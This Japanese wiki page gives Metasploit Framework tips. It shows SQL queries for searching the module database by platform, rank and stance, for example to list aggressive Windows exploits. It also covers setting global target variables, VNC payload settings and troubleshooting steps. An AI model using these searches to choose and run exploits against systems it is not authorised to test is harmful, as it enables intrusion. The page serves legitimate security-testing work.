ヒントとテクニック
データベースから検索
Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの search
を使わなくても強力な検索を使うことが簡単にできます。
データベースインターフェイスを起動するには、次を実行:
$ psql msf
モジュールに関する情報は8つのテーブルに保存されています:
テーブル名 | 中身 |
---|---|
module_details
|
"メイン"のテーブルで、各モジュールの詳細情報が入っています。 |
module_actions
|
auxiliary モジュールのアクション名。 |
module_archs
|
対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム |
module_authors
|
モジュールの作者の名前とメールアドレス。 |
module_mixins
|
空 (???) |
module_platforms
|
対象オペレーティングシステム。#exploit の数によるプラットフォームの人気度 も参照。 |
module_refs
|
様々なオンラインの exploit データベースとレポートのリファレンス。 |
module_targets
|
exploit 対象のプログラムの名前とバージョン。 |
ほとんどのテーブルには3つカラムがあります: id
, detail_id
, name
。例外的に module_details
テーブルは16のカラムがあります。
detail_id
の値は module_details
テーブルの行数のポインタです。
テーブルの中身を全て表示するには、次を実行:
SELECT * FROM table_name;
マルチ:
- Architecture
- Platform
- Target
モジュールのオプション:
- module type
- stance
- privileged
- path
- name
- refname
- rank
- privileged
- disclosure date
データベース検索のサンプル
module_details
テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには:
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
module_platforms
のプラットフォーム情報を含む、利用可能なモジュールの情報を表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
Windows プラットフォームの全てのクライアント (aggressive) exploit を表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む:
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
exploit の数によるプラットフォームの人気度
利用可能な platform
の値と、利用可能な exploit の数を調べるには、psql
から以下を実行:
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
起動時の ASCII バナーを無効化
バナーを無効化するには、-q
/--quiet
引数を付けて msfconsole
を実行してください:
$ msfconsole --quiet
セッションが変わっても変数の値を維持する
他のモジュールを選択したときや msfconsole
を再起動したときに変数がリセットされるのが気に食わない場合、setg
で変数をグローバルに設定してください。例:
msf > setg RHOST 192.168.56.102
トラブルシューティング
VNC ビューアでクリックできない
ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、ViewOnly
変数を false
に設定するのを忘れています。この問題を修正するには、変数を false
に設定してから exploit を再度実行してください:
msf > set ViewOnly false
cannot load such file -- robots (LoadError)
以下のようなエラーが表示される場合:
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
このエラーは robots.rb
ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です (バグレポート を参照):
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください:
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect が何もエラーを表示しないで失敗する
db_connect
の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合:
[!] Database not connected or cache not built, using slow search
おそらく postgresql
サービスが動いていません。